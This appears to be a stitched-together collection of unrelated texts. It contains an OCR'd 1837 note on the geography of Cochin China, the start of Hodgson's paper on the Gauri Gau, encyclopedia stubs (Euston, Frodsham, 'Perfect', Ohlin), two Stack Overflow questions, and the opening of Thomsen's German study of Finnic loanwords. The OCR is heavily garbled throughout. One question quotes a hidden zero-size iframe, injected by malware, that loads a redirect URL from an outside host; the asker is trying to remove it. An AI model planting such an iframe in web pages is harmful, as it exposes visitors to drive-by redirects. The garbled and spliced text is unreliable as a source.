them. For this purpose the letter nearest approaching the sound has
-been modified by the addition of some accent or diacritical mark,
which will be found explained in the preface of my dictionary now
under publication, but which it would be out of place to enter upon in
a note on geography.) Je
Central Cochin China commences about lat. 16°, enterntinge« to a
10° 457. It comprehends six provinces, or prefectures, viz. Quang nam
or cham: in this provinee is situated the fine port of Touron named
‘Han by the Cochin Chinese. Four or five leagues south of this bay is
the city of Phat-phé which was for a long time the focus of the commerce
with foreign countries. The wars which desolated this kingdom
= * Ifit be asked why are these changes? I will answer, that frequently super-
‘stition has most to do with it. Sometimes the old name has not been thought
noble enough—and sometimes simple caprice has guided his majesty’s will which
nove dare thwart. Tota ratio est voluntas facientis. It is thus that from a
whim the king will rase a whole city and re-erect it at some distance, or on an
opposite bank of the river ! Can one then accuse a geographer of ignorance if at
the epoch of his making a map, the city was placed on the left side of the river,
because it happens now to be on the right? I make this remark in reference to
the map of Cochin China which will appear with my dictionary. In 1835 the
strong town of Sai gon in lower Cochin China has been utterly destroyed because
his majesty chose to build another at some distance, but I know not yet the
precise position of the new town. Why is this? I have said above. Again in
1833 the town of Sai gon was taken by a pagan mandarin who withstood a siege
for near two years. When the king’s troops succeeded in October 1835, in retaking
the place, his majesty guided by superstition, discovered that the situation of the
town was not propitious :—and that a diviner should select a better, whither it
was accordingly transferred. The diviner will have assured the king that
under the new spot dwelt the great dragon for which they have so great a venera-
tion. It is thus that the king revenged himself on the infidelity of his subjects
in this province, who were made to labour night and day for 10 or 15 years in
-constructing this new town,—their only os being the cangue and the
ratan. : m
1837.] Note on the Geography of Cochin China. 741
towards the close of the last century have given a mortal blow to this
‘town. It is now inhabited partly by Chinese, who keep up a thriving
-gommerce with their countrymen. The country is fertile and pictur-
esque. It is on the south-west of these mountains that the Cochin
Chinese resort to procure the canelle or cinnamon which is preferred
in China to that of Ceylon. A three-days march takes you through
‘this province into the neighbouring one of Quang ngai or Hoa ngai,
which has less breadth than the preceding, but which runs back from
the seashore towards the mountains inhabited by the Moi, the most
‘terrible of the savage races that occupy the whole chain of mountains
skirting the kingdom. Cinnamon is here also made, but sugar is
the chief object of traffic. The frequent incursions of the hill savages
to repossess themselves of the plains, forced many of the inhabitants to
retire. Since the last 40 years they have succeeded in restraining the
wild people in their forests, and the population is again increasing.
From Hoa ngai you pass into one of the finest provinces of the realm,
where from 1780 to 1793 was the capital of one of the usurpers known
under the name of Tdg so’n or mountaineers of the west. Its ordinary
name is Qui nho’n ; others call it Qui phu ?, or Binh dinh. It possesses
many ports, but the finest and most vast is that known by the name
of Cu’a gia. In every part of this province are to be seen those half-
‘ruined brick towers which prove that the country once belonged to
the ancient and powerful kingdom of Ciampa, reduced about 80 years
ago, by the Cochin Chinese who have raised themselves on its ruins.
It has many cocoanut-trees ; the oil of this fruit and the ropes
prepared with its fibre, as well as the areca (betel) and some little silk
form its principal branches of commerce.
Next follows the province of Phú yén, which forms a kind. of
amphitheatre, and offers to the view fine fields of rice, gardens of areca
and betel, in the midst of which appear here and there the humble
habitations of the rich proprietors. This province furnishes the best
horses in the kingdom. It is separated from the province of Nha trang
by one of the highest rocks or mountains of the country, which is
thence called Ded ca?, or ‘chief of mountains.’ This province
extends for six days’ journey: it is thinly peopled. It is here that
a French officer built a strong town about three or four leagues from
the port of the same name. It stood two sieges, one in 1792, the other
in 1793 without falling into the hands of the rebels. They cultivate
the mulberry here with success and maintain a thriving business in
silk. This province produces the species of baumier called amyris ambro-
siana. It runs from the tree of a blackish color, and has a smell
which may vie with the liquid amber of Linneus.
‘742 Note on the Geography of Cochin China. (Serr.
' The last province of central Cochin China is Binh Thudn. This pro-
vince was formerly the seat of the capital of the kingdom of Ciampa,
whose inhabitants, now reduced greatly in number, have retired to the
-foot of the mountains, abandoning to their new masters the sea coast
as well as the long sandy range (parage) called the desert of Cochin
China.
Ciampa was formerly a considerable state, known to Europeans only
‘at the time of its decline. Before the 15th century of our era, this
kingdom was bounded on the north by Tongking, on the south by
Camboge, on the east by the sea, and on the west by Laos and the
Mountains of Yun nam. The latter people has several appellations
among the Cochin Chinese ;—such as Lói, Thudn, Thiéng, &c. It
appears from the chronicles of Java that they had a brisk intercourse
and close relation with the inhabitants of the Malayan archipelago. In
the 15th century the queen-wife of the chief sovereign of the isle of
Java was a daughter of the king of Ciampa. Ebony is very common
in this country, but the wood which is the most precious, and which
is sufficiently abundant is called ‘ eagle wood,’ of which the first quality
-sells for its weight in gold; the native name is Ki nam. This wood, so
celebrated among the orientals for its agreeable perfume, possesses also
medical properties.
The province of Binh thudn stretches from about lat. 11°45’ north to
10° 45’; where commences lower Cochin China; which comprehends
all that part of Camboge overrun by the Cochin Chinese. This province
called Déng nai, sometimes Sài gòn by the natives and Europeans, is
properly named Ga dinh. It includes six prefectures. The first and
nearest to Binh thudn is called Bién hoa or Dong nai; the second,
Phan yén or Sat gon, which is the fortified town of the same name.
The third is Dinh Twd’ng, vulgo Mi tho ; the fourth is Vinh thanh or
Long hó : the fifth Cháu dòc or An giang. The sixth is at some leagues
from the sea, and is called Ha tién, and by the Europeans, Cancao.
This last prefecture extends its jurisdiction from the island called
.Hodn iram in the gulf of Siam, to about lat. 10° 40’ N. It is this
which separates the kingdom from Siam. It is on this island also,
(which signifies isle of the guard) that is stationed a legion of soldiers
destined to guard the frontier. On the south, the island of Pulo-ubi,
(or isle of the ignume plant) situated in lat. 8° 25’ north, forms the
extreme limit of the kingdom.
From the above sketch it is seen that Cochin China contains fifteen
prefectures and only ten provinces ; for the vast province of Gia
dinh comprises within itself six prefectures. All these provinces are
ranged along the coast.
1837.) Note on the Geography of Cochin China. 743
Tongking, which since 1802 has been reunited to the kingdom of
Cochin China, has twelve provinces, and fourteen prefectures. Two:
provinces, those of Thaun and Nam have each two prefectures. The
first beginning with lat. 17° 30’N. is usually known as An or Nghé an.
Itis on the other side of the river Sóng gianh which formerly separated
the two kingdoms.
. Here follow the names of the other prefectures, proceeding north-
ward to lat. 23° 30’, viz.: Thanh nói, Thanh ngoai, Hung hoa, Nam
thu'o'ng, Nam ha, Hai déng, Kinh băe, Son tay, Cao bang, Lang băe, Thai
nguyén, Tuyén Quang, and Yén Quang. This last rests on the Chinese
province of Cangtong.
Four of the provinces above enumerated are distinguished as eastern,
western, southern and northern, respectively, according to their situa-
tion as regards the royal town which is placed in the centre of the
four, and which is called Ke ? cho’ or bie thành. They are also
named ‘the four governments’ embracing therein six other provinces.
The two remaining are called ‘ the outer government.’ |
The province of Xú’ thanh, which is divided into two prefectures, or
trán, is celebrated in the empire of Cochin China as being the country
of the three royal dynasties : first, of the dynasty of Lé, or of the Vua;
or kings of Tongking, whose princes latterly only retain the empty
title of king, without taking any share in the administration :—the
dynasty of Trinh, which although it never held a higher title than
Chúa (lord, or regent), exercised all authority in the state :—and
thirdly, the dynasty of Nguyen, which after holding the rule in
Cochin China as Chúa or regent, broke from the yoke of Tongking, and
has exercised absolute and independent sway for thirty-four years over
i Tongking and Cochin China combined. Five provinces may be distin-
guished as maritime, to wit; Xz’ nghé, or Nghi an, Thanh nói, and
Thanh ngoai, Nam thu’o’ng and Nam ha, Hai dong and Yén Quang.
The province of Nam, or south, though not the most extensive is the
most beautiful and the best peopled. It has hardly any mountain tracts,
while the other provinces on the contrary have many mountainous
than level ones. Ke ?cho’, the ancient capital of Tongking belongs pro-
'perly to none of these provinces. It serves as a focus or common centre
tothe four principal provinces as before stated. Its name of Ke ? cho’,
which signifies the market, or chief market, is the vulgar appellation
of the town. Its real name is Thanh long thanh, the city of the yellow
dragon. It was constructed in the commencement of the seventh
century, when Tongking was only a province of the Chinese empire,
\governed by an officer of the emperor. It was then called La Thanh,
(or city of La. Towards the end of the tenth century, the first king of
l
‘
|
|
j
|
744 Note on the Geography of Cochin China. (Serr;
the dynasty Dinh erected another town in a place more to the west,
called Hoa lu. It served but a few years as aresidence of the Tonghing
kings. . After 40 or 50 years they abandoned it and now the traces of
its existence are hardly to be discovered. The first king of the dy-
nasty Ly, who mounted the throne in 1010 re-established the town of
Thánh and changed its name to that of Thánh long thánh, or city of
the yellow dragon, because of a pretended vision that this prince had
on the great river. Although Tongking is watered by a great number
of rivers and streams, the most remarkable is that to which is given
the name of Téng-ca ?, or great river. I may remark here that none of
the rivers of Cochin China has any distinctive name applicable to its
whole course. The natives employ the general term of Sóng, river,
adding thereto the name of the principal place by which it passes: so
that the river changes its name continually, and the name employed
applies directly to the portion of its course intended to be alluded ta,
The great river of Tongking has its sources in the mountains of China,
It runs north-west to south-east, traversing the provinces of Tuyén
Quang, of the west, the royal town, and the province of the south, at
the foot of which it discharges itself through several channels into the
sea at the bottom of the gulf of Tongking. About 50 years ago
vessels used to mount the river as high as Hién or Héam, about 25
leagues from the sea, where the French and English had formerly a
factory ; but now the mouth of the river is obstructed by shoals which
no longer permit vessels to enter. The large native barques even
find difficulty now in entering*. i
I bave observed, for the sake of perspicuity, that the mmiss of pre-
fectures exceeded that of the provinces, because certain provinces
were subdivided into several districts. The word province is called
Xú’ in Cochin Chinese, and prefecture Trán. Although the number of
prefectures has not increased and the provinces remain in statu quo,
some changes have been made in the mode of administration in 183d.
Mına Mana, well versed in Chinese literature, seeks always to equa]
if he cannot surpass his model, the Chinese emperor. Minn Mane then
has united two prefectures under the inspection of one superior man-
darin. The prefecture in — the latter resides is called Tinh, or
“chief place of the provinces.’ This first commander bears the name of |
Thông dée. The prefecture which is attached to the ‘ head-quarters’
of the province is called Sanh, and the civil prefect bears the title of
Ong bó chánh: he is assisted by a porn or —_ judge who is
called An sát. — ;
* The English office was very pleasantly situated to the north of the town of
Ketcho’ on the banks of the river, that of the Dutch was originally close to it.
1837.] ; Description of the Gauri Gau. - “945
The Pracel or Parocels, is a labvrinth of small islands, rocks and
sand-banks, which appears to extend up to the llth degree of north
latitude, in the 107th parallel of longitude from Paris. Some navi-
gators have traversed part of these shoals with a boldness more for-
tunate than prudent, but others have suffered in the attempt The
Cochin Chinese called them Cén uáng. Although this kind of archi-
pelago presents nothing but rocks and great depths which promises
more inconveniences than advantages, the king Gra Lone thought he
had increased his dominions by this sorry addition. In 1816, he went
with solemnity to plant his flag and take formal possession of these
rocks, which it is not likely any body will dispute with him.
11].—On the Bibos, Gauri Gau or Gaurtkd Gau of the Indian forests.
By B. H. Hopveson, Esg. Resident in Nepal. |
l To the Editor Journal Asiatic Society.
I have the honor to submit to you the following subgeneric and
specific characters of that magnificent wild Bovine animal, whose
skull Mr. Evans recently exhibited in vour Society’s rooms. Amongst
my drawings, transmitted to Eagland two years ago, you may remem-
ber to have scen delineations of this animal’s cranium, pourtrayed
comparatively with those of Bubalus, Bos and Bisonus. The dis-
finctive characters, as therein depicted, were certainly sufficiently
striking, and were noticed by me at that time: but, until I had had
opportunity to examin® the whole bony frame of both sexes, I did
fot venture to give public expression to my conviction that this
animal would be found to constitute a new type of the Bovide. I
ere recently had such opportunity, and my hesitation has ceased. I
ve no longer any doubt that the Gouri Gau of the Saul forest and
of the hilly jangals of south Behar, is neither a Bos nor a Bison,
but an intermediate form; and, from the vague indications of writers,
T apprehend that the Fossil Urus of Europe*, and AristTotie’s Persian
wild bull with depressed horns, were other species of the same type.
Whether our species be identical with the Gaurus or with the
Gayeus of authors, it is impossible to conjecture; since the descrip-
tions of them amount to little more than the tittle-tattle of sportsmen,
most unwarrantably (as I conceive) adopted into science by men like
Traixt, G. St. Hivatre, and H. Sirsa, who have, some of them, made
Bisons of these animals, and others Tauri, according to the almost
unaided dictates of mere imagination! My subgeneric and specific
| characters are both prolix; but so long as our classification continues
* There are two animals bearing the name of Bos Urus.
5 B
|
Euston station is a major railway station and London Underground station in north central London, in the London Borough of Camden. It is the seventh busiest rail terminal in London (by entries and exits). It is one of 18 British railway stations managed by Network Rail, and is the southern terminus of the West Coast Main Line. Euston is the main rail gateway for Virgin services to/from the West Midlands, the North West, North Wales and Scotland. It is also a rail gateway for London Midland services to/from Greater London, West Midlands and the North West.
It is connected to Euston tube station and near Euston Square tube station of the London Underground. These stations are in Travelcard Zone 1. There is also a bus station on the precinct.
London Underground
Euston station is directly connected to, and above, Euston tube station, which is served by the Victoria Line and Northern Line (both Bank and Charing Cross branches) of the London Underground.
Euston Square tube station on the Circle Line, Hammersmith & City Line and Metropolitan Line is a three-minute walk from the station along Euston Road.
References
Railway stations in London
Transport in the London Borough of Camden
London Travelcard zone 1 |
Frodsham is a small market town in the county of Cheshire in the north west of England, north west of Chester, on the River Weaver, and overlooking the River Mersey estuary.
The town is of Saxon origin, its 11th century church is mentioned in the Domesday Book. When a salt refinery was opened in 1964, salt was brought by river from Northwich.
Towns in Cheshire
Market towns in England |
"Perfect" is a song written and recorded by English singer-songwriter Ed Sheeran. It was released on November 24, 2017, as the fourth single from his album, ÷. The song reached as high as number three on the Billboard Hot 100 in the United States. The following week, Sheeran re-released the song as a duet with American singer Beyoncé, who sings the second verse from a female perspective.
The duet version has reached number one in both the US and UK. It became Sheeran's second American chart-topper and Beyoncé's sixth as a solo artist (tenth including songs with Destiny's Child).
References
Beyoncé songs
2017 songs
Ballads |
<p>A malware has attacked my server and added the line</p>
<pre><code><iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
</code></pre>
<p>to many of my pages</p>
<p>how can i remove it with grep or if there is any other way i can remove it from all the files it affected</p>
<p>Edit: I saw the comments about using sed, but I need a recursive solution, if there is one</p>
<p>thanks</p> |
Bertil Gotthard Ohlin () (23 April 1899 – 3 August 1979) was a Swedish economist and politician. He was a professor of economics at the Stockholm School of Economics from 1929 to 1965.
He was also leader of the People's Party. He was Minister for Trade from 1944 to 1945. He was President of the Nordic Council in 1959 and 1964.
Ohlin won the Nobel Memorial Prize in Economic Sciences in 1977 together with the British economist James Meade "for their pathbreaking work to the theory of international trade and international capital movements".
Other websites
Bertil Ohlin
Bertil Ohlin Institute
Ohlin's life
Academician RACEF, Spain
Presentation: THE YOUNG OHLIN ON THE THEORY OF INTERREGIONAL AND INTERNATIONAL TRADE
IDEAS/RePEc
1899 births
1979 deaths
Swedish economists
Swedish politicians |
<p>I want to style all of the images on my website to have box-shadows and padding of 10px, so that text isn't smooshed up against them. However, when I assign any padding to "img" with CSS, the box-shadow is drawn at the edge of the padding, leaving a 10px blank space around the image.</p>
<pre><code>#content img {
-moz-box-shadow: 0 0 5px 2px #282a2d;
-webkit-box-shadow: 0 0 5px 2px #282a2d;
padding:10px
}
</code></pre>
<p>This particular image is floated left within the paragraph. here is an example of my problem -</p>
<p><a href="https://i.stack.imgur.com/vLsId.png" rel="noreferrer"><img src="https://i.stack.imgur.com/vLsId.png" alt="enter image description here"></a></p>
<p>Any ideas?</p>
<p><strong>EDIT:</strong> I do not want the padding. I just want the box-shadow, and then space, so that text doesn't mash up right next to the box-shadow. Turns out what I wanted was margin, not padding. Silly mistake.</p> |
Google
This is a digital copy of a book that was prcscrvod for gcncrations on library shclvcs bcforc it was carcfully scannod by Google as part of a projcct
to make the world's books discoverablc online.
It has survived long enough for the copyright to expire and the book to enter the public domain. A public domain book is one that was never subject
to copyright or whose legal copyright terni has expired. Whether a book is in the public domain may vary country to country. Public domain books
are our gateways to the past, representing a wealth of history, culture and knowledge that's often difficult to discover.
Marks, notations and other maiginalia present in the original volume will appear in this flle - a reminder of this book's long journcy from the
publisher to a library and fmally to you.
Usage guidelines
Google is proud to partner with libraries to digitize public domain materials and make them widely accessible. Public domain books belong to the
public and we are merely their custodians. Nevertheless, this work is expensive, so in order to keep providing this resource, we have taken steps to
prevent abuse by Commercial parties, including placing lechnical restrictions on automated querying.
We also ask that you:
+ Make non-commercial use ofthefiles We designed Google Book Search for use by individuals, and we request that you use these files for
personal, non-commercial purposes.
+ Refrain fivm automated querying Do nol send aulomated queries of any sort to Google's System: If you are conducting research on machine
translation, optical character recognition or other areas where access to a laige amount of text is helpful, please contact us. We encourage the
use of public domain materials for these purposes and may be able to help.
+ Maintain attributionTht GoogXt "watermark" you see on each flle is essential for informingpeopleabout this projcct and helping them lind
additional materials through Google Book Search. Please do not remove it.
+ Keep it legal Whatever your use, remember that you are lesponsible for ensuring that what you are doing is legal. Do not assume that just
because we believe a book is in the public domain for users in the United States, that the work is also in the public domain for users in other
countiies. Whether a book is still in copyright varies from country to country, and we can'1 offer guidance on whether any speciflc use of
any speciflc book is allowed. Please do not assume that a book's appearance in Google Book Search mcans it can bc used in any manner
anywhere in the world. Copyright infringement liabili^ can be quite severe.
Äbout Google Book Search
Google's mission is to organize the world's Information and to make it universally accessible and useful. Google Book Search helps rcaders
discover the world's books while helping authors and publishers reach new audiences. You can search through the füll icxi of this book on the web
at |http: //books. google .com/l
Google
IJber dieses Buch
Dies ist ein digitales Exemplar eines Buches, das seit Generationen in den Realen der Bibliotheken aufbewahrt wurde, bevor es von Google im
Rahmen eines Projekts, mit dem die Bücher dieser Welt online verfugbar gemacht werden sollen, sorgfältig gescannt wurde.
Das Buch hat das Uiheberrecht überdauert und kann nun öffentlich zugänglich gemacht werden. Ein öffentlich zugängliches Buch ist ein Buch,
das niemals Urheberrechten unterlag oder bei dem die Schutzfrist des Urheberrechts abgelaufen ist. Ob ein Buch öffentlich zugänglich ist, kann
von Land zu Land unterschiedlich sein. Öffentlich zugängliche Bücher sind unser Tor zur Vergangenheit und stellen ein geschichtliches, kulturelles
und wissenschaftliches Vermögen dar, das häufig nur schwierig zu entdecken ist.
Gebrauchsspuren, Anmerkungen und andere Randbemerkungen, die im Originalband enthalten sind, finden sich auch in dieser Datei - eine Erin-
nerung an die lange Reise, die das Buch vom Verleger zu einer Bibliothek und weiter zu Ihnen hinter sich gebracht hat.
Nu tzungsrichtlinien
Google ist stolz, mit Bibliotheken in Partnerschaft lieber Zusammenarbeit öffentlich zugängliches Material zu digitalisieren und einer breiten Masse
zugänglich zu machen. Öffentlich zugängliche Bücher gehören der Öffentlichkeit, und wir sind nur ihre Hüter. Nie htsdesto trotz ist diese
Arbeit kostspielig. Um diese Ressource weiterhin zur Verfügung stellen zu können, haben wir Schritte unternommen, um den Missbrauch durch
kommerzielle Parteien zu veihindem. Dazu gehören technische Einschränkungen für automatisierte Abfragen.
Wir bitten Sie um Einhaltung folgender Richtlinien:
+ Nutzung der Dateien zu nichtkommerziellen Zwecken Wir haben Google Buchsuche Tür Endanwender konzipiert und möchten, dass Sie diese
Dateien nur für persönliche, nichtkommerzielle Zwecke verwenden.
+ Keine automatisierten Abfragen Senden Sie keine automatisierten Abfragen irgendwelcher Art an das Google-System. Wenn Sie Recherchen
über maschinelle Übersetzung, optische Zeichenerkennung oder andere Bereiche durchführen, in denen der Zugang zu Text in großen Mengen
nützlich ist, wenden Sie sich bitte an uns. Wir fördern die Nutzung des öffentlich zugänglichen Materials fürdieseZwecke und können Ihnen
unter Umständen helfen.
+ Beibehaltung von Google-MarkenelementenDas "Wasserzeichen" von Google, das Sie in jeder Datei finden, ist wichtig zur Information über
dieses Projekt und hilft den Anwendern weiteres Material über Google Buchsuche zu finden. Bitte entfernen Sie das Wasserzeichen nicht.
+ Bewegen Sie sich innerhalb der Legalität Unabhängig von Ihrem Verwendungszweck müssen Sie sich Ihrer Verantwortung bewusst sein,
sicherzustellen, dass Ihre Nutzung legal ist. Gehen Sie nicht davon aus, dass ein Buch, das nach unserem Dafürhalten für Nutzer in den USA
öffentlich zugänglich ist, auch für Nutzer in anderen Ländern öffentlich zugänglich ist. Ob ein Buch noch dem Urheberrecht unterliegt, ist
von Land zu Land verschieden. Wir können keine Beratung leisten, ob eine bestimmte Nutzung eines bestimmten Buches gesetzlich zulässig
ist. Gehen Sie nicht davon aus, dass das Erscheinen eines Buchs in Google Buchsuche bedeutet, dass es in jeder Form und überall auf der
Welt verwendet werden kann. Eine Urheberrechtsverletzung kann schwerwiegende Folgen haben.
Über Google Buchsuche
Das Ziel von Google besteht darin, die weltweiten Informationen zu organisieren und allgemein nutzbar und zugänglich zu machen. Google
Buchsuche hilft Lesern dabei, die Bücher dieser We lt zu entdecken, und unterstützt Au toren und Verleger dabei, neue Zielgruppcn zu erreichen.
Den gesamten Buchtext können Sie im Internet unter |http: //books . google .coiril durchsuchen.
fS'Ü-fl
^. ;•}<:■: •*■
. :*: :*:
t:fc
3
1
ÜBER DEN EINFLÜSS
DEB
GERMANISCHEN SPRACHEN
AUF DIE
FINNISCH-LAPPISCHEN.
EINE SPRACHGESCHICHTLICHE UNTERSUCHUNa
VON
Dr. WILH. THOMSEN.
Aus dem dänischen übersetzt von E. Sieyebs
und vom Verfasser durchgesehen.
HALLE,
TEBLAG DEB BUCHHAIOJLIJNG DES WAISENHAUSES.
18 70.
Inhalt.
Einleitung. Seite
I. Die finnische sprachfamilie und ihr verhältniss zu dem
indogermanischen sprachstamm; berührungen zwischen
den germanischen und finnischen sprachen; frühere
arbeiten darüber 1
IT. Die finnische Yolksklasse. Die Schweden in Finnland
und Ehstland 9
in. Grundzüge der finnisch -lappischen lautverhältnisse . . 20
Ueber den einfluss der germanischen sprachen auf
die finnisch-lappischen 44
I. Die einzelnen laute ausserhalb der endung 49
A. Vocale 49
B. Consonanten 64
IL Die endungen 81
A. Nomina . 81
I. Yocalische stamme 84
la. Stamme auf -a 84
Ib. Stämme auf -ja 92
2. Stämme auf -i 95
3. Stämme auf -u 102
U. Consonantische stamme 104
4. Einsilbige consonantische stämmme . . 104
5. 6. Stämme auf -nd und -r ...... 106
7. Stämme auf -n 106
B. Verba 111
m. Kückblick. Schluss 115
rV. Wortverzeichniss 128
V. Register 186
Verzeiclmiss der wichtigeren abkürzuiigeii.
ags. = angelsächsisch,
ahd. = althochdeutsch,
altfrz. = altfranzösisch.
altsL, altslaw. = altslawisch.
altsw. = altschwedisch,
an., altn. := altnordisch,
arm. = armenisch,
cer., öerem. = deremissisch.
öuwaä. == önwaäisch.
ehst., e. = ehstnisch.
ehst.-sw. = ehstnisch -schwedisch, schwedisch in Ehstluid.
en.-l. = enare- lappisch,
ersa - m. , - mordw. == ersa - mordwinisch,
f., finn. = finnisch,
g. , got. == gotisch,
gem.-l. = gemeinlappisch.
kar. s= karelisch.
1., läpp. == lappisch,
lit. =» litauisch,
mhd. = iMttelhochdeutsch.
mlat. = lätein des mittelalters.
moksa-m., -mordw. «= mokda- mordwinisch,
m., mordw. = mordwinisch,
nd. =s niederdeutsch,
nhd. = neuhochdeutsch,
nw. == norwegisch,
nw. -L = norwegisch -lappisch.
nyl. = nyländisch, schwedisch in Nyland (Finnland),
olon. =: olonetsisch.
ostj.y ostjak. »=* ostjakisch.
skr. = sanskrit,
sl., slaw. = slawisch,
st. = stamm,
sw. »= schwedisch,
sw.-l. = schwedisch -lappisch,
syrj., syrjän. = syrjänisch.
ung. = ungarisch,
w. = Wurzel,
wog. , wogul. = wogulisch.
wot. = wotisch.
wotj., wotjak. = wotjakisch.
* bezeichnet nur erschlossene formen.
Einleitung.
I.
Die finnische sprachfamilie nnd ihr verhältniss zu dem i
indogermanischen sprachstamm; berührungen zwischen den
germanischen und finnischen sprachen; frühere arbeiten
darüber.
. Die finnisch - lappischen sprachen oder die finnische
Sprachklasse sind das nordwestlichste glied der in weiterem
sinne sogenannten finnischen oder finnisch - ungarischen
sprachfamilie, die von jenseits des üralgebirges über den
nördlichen theil Eusslands und der angrenzenden länder aus-
gebreitet ist, mit einem isolierten seitenzweig in Ungarn.^
Yen den meisten gelehrten wird diese sprachfamilie wiederum
mit mehreren andern, namentlich der samojedischen, tata-
rischen, mongolischen und tungusischen , zu einem grossen
stamme zusammengestellt, dem ural-altaischen (turanischen);
indessen kann diese Verwandtschaft keineswegs als eine aus-
gemachte thatsache betrachtet werden, sondern höchstens
als etwas mehr oder weniger wahrscheinlich ; denn die stren-
gern beweise mangeln noch und werden nicht eher geliefert
werden können, als bis jede einzelne der genannten familien
in sprachhistorischer hinsieht innerhalb ihres engeren gebie-
tes genauer untersucht ist. Es hat daher auch nicht an
solchen gefehlt , welche die richtigkeit dieser annähme leug-
neten oder bezweifelten, und die ihrerseits die finnischen
sprachen näher zu den indogermanischen stellen wollten.
1) Betreffs dei; weiteren eintheilung dieser sprachfamilie verweise
ich namentlich auf Eask, Samlede Afhandlinger I (Kopenhagen 1834),
s. 28 ff. Castren , Ethnologische Vorlesungen üh. die altaischen Völker
= Nord. Eeisen und Forschungen IV (St. Petershurg 1857), s. 68 ff.
Max Müller, Lectures on the science of language, I ser. 2** edit.
s. 316 ff. (deutscher bearheit. s. 267 ff.) u. in Bunsiens Outlines of the
philos. of universal history 1 , 274 ff. Verf. in der Tidskrift for Phi-
lologi og Paßdagogik VII, (Kopenhagen 1867), s. 153 f.
Thomaen, Einfluss d. germ. sprachen. 1
2 Einleitung.
Zwar kann man natürlich nicht von vorn herein die mög-
lichkeit einer Urverwandtschaft zwischen beiden leugnen,
aber die Verschiedenheit im ganzen Sprachbau ist doch so
2 überwiegend , dass eine nähere Verbindung auf dieser seite
wenig wahrscheinlich sein dürfte, und jedesfalls ist eine
solche für den augenblick unerweislich, so lange es noch
nicht geglückt ist, die finnischen sprachen auf eine ältere
gestalt zurückzuführen, von welcher die vergleichung aus-
gehen könnte. Als beispiele von Wortübereinstimmungen,
die vielleicht auf eine Stammverwandtschaft mit den indo-
germanischen sprachen hinweisen könnten , will ich anführen :
finnisch kuulen, ich höre, lappisch gulam, mordwinisch
kul'an, öeremissisch kolam, syrjänisch kyla, ostjakisch
;fudem, küdlem, wogulisch kulem, ungarisch hall
(3. pers.); die wurzel scheint hier kul- oder kül- zu sein,
die an die gemeinsam indogermanische wurzel Tcru (skr. w.
QTU^ altslaw. slovq, litauisch Mausau, gr. xAtw, lat. cluö)
erinnert; femer finnisch nimi, name, lappisch nabma,
namma,^ mordw. lem, öerem. lim, lym, syrj. nim,
ostj. nem, wog. näm, ung. nev, vgl. indog. und skr.
näman- (altslaw. imq für *nimq u. s. w.); — finn. vesi,
(stamm ved- oder vet-), wasser, mordw. ved, ßer. vit,
vyt, syrj. va, wog. vit, ung. viz, vgl. die verschiedenen
indogermanischen ableitungen aus einer wurzel vad oder ud
(z. b. skr. uda-m, udan, altsl. «;ö(ia u. s. w.) ; — finn. mesi
(st. med- oder met-), honig, mordw. med, ßer. my,
syrj. ma, ostj. mag, wog. mau, ung. m6z, vgl. indog. und
skr. madhu (gr. f.iadv , altsl. medU u. s. w.) u. a. in.
Aber selbst wenn man nun wirklich in diesen und
ähnlichen Wörtern erinnerungen an eine Urverwandtschaft
sehen wollte, so gibt es doch daneben eine grosse menge
Wortübereinstimmungen, die sich unmöglich auf diese weise
erklären lassen, die vielmehr theils durch ihre form, theils
durch ihre geringere Verbreitung sich mehr oder weniger
deutlich als entlehnungen erweisen , gewöhnlich aus den
1) Hier sind die a erst später entstanden nach speciell lappischen
lautgesetzen.
Die finn. sprachfamilie; berühr, m. d. indogerm., bes. d. germ. sprachen. 3
indogermanischen sprachen in die finnischen^ viel seltener,
wie es scheint , umgekehrt. Ja , dass es nicht einmal midenk-
bar ist, dass selbst mehrere der oben angedeuteten vielfach
verbreiteten werte so aufzufassen wären , kann man an sol-
chen werten sehn wie z. b. den finnischen ausdrücken für
'hundert': finn. sata, läpp, ßuötte, mokäa-mordw. sada,
ersa-m. s'ado, öer. §ydö, Syde, syrj. s'o, wotjak. su, 3
ostj. söt, sät, wog. sat, ung. szäz. Hier scheint der
s - laut klar zu beweisen , dass das wort nicht einer ursprüng-
lichen Verwandtschaft mit den indogermanischen sprachen
zu verdanken ist, in denen die grundform "^hanta-m lautet,
sondern- entweder aus einer arischen (indisch -persischen)
oder einer slawisch - litauischen spräche aufgenommen sein
muss, da nur diese ursprüngliches k in einen s -laut ver-
wandeln, vgl. skr. und altbaktr. gata-, neupers. sad, digor.-
osset. sade) S(JBde, altsl. süto. Aber auf der andern seite
beweist die grosse Verbreitung des wertes, dass die entleh-
nimg ausserordentlich alt ist und vielleicht schon der gemein-
samen grundsprache zufallt, sofern man nicht annehmen
will, was doch wegen, der genauen Übereinstimmung kaum
wahrscheinlich ist, dass wir hier eine parallele entlehnung
haben, wie z. b. in dem ausdruck für 'tausend': denn wäh-
rend ung. ezer, wog. sater, ostj. taras, t'ores (ostj. t
ist oft = urspr. s), wotj. und syrj. surs aus einer arischen
spräche entlehnt zu sein scheinen (vgl. skr. sdhasra, altbaktr.
hamnhra, neupers. h^zär, arm. hazar)^ sind finn. tuhat
(tuhanti), läpp, duhat, mordw. t'ozän, öer. tiSem
(syrj. tisa(?a) hembergenommen — und nicht einmal auf
der gemeinsamen stufe — entweder aus lit. tükstantis oder
aus altsl. tysaßa, russ. TticHqa t^sjaöa (auf germa-
nischen Ursprung deutet keine der angeführten formen).
Zwischen diesen lehnworten findet, wie man bereits
aus den angeführten beispielen schliessen kann, eine grosse
Verschiedenheit statt je nach dem verschiedenen Ursprung
oder alter und der daraus folgenden ausbreitung. Sieht
man von der angedeuteten möglichkeit eines uralten itfdo-
germanischen einflusses ab, so wird man zuerst und zuvör-
derst, wie es auch natürlich ist, in allen finnischen sprachen
1*
4 Einleitung.
ohne ausnähme stärkere oder schwächere, gröstentheils von
einander unabhängige einwirkungen von slawischer, zum
theil auch von litauischer seite finden. Die nicht zahlreichen
arischen bestandtheile finden sich fast nur in den östlicheren
sprachen und im ungarischen. Dagegen bieten die am wei-
testen westwärts vorgedrungenen, nämlich die finnisch -
lappischen und die ungarische, mannigfaltige spuren von
berührungen mit den germanischen sprachen in älterer und
jüngerer zeit, welche gänzlich in den östlicheren sprachen
fehlen. Für das ungarische ist die quelle im deutschen zu
suchen, für die finnische Hasse muss man dagegen vorzüg-
lich in den nordischen sprachen dieselbe zu finden erwarten.
Wie diese beiden Strömungen also durchaus unabhängig von
einander gewirkt haben, so wird es auch am richtigsten
4 sein , jede dieser erscheinungen ohne rücksicht auf die andere
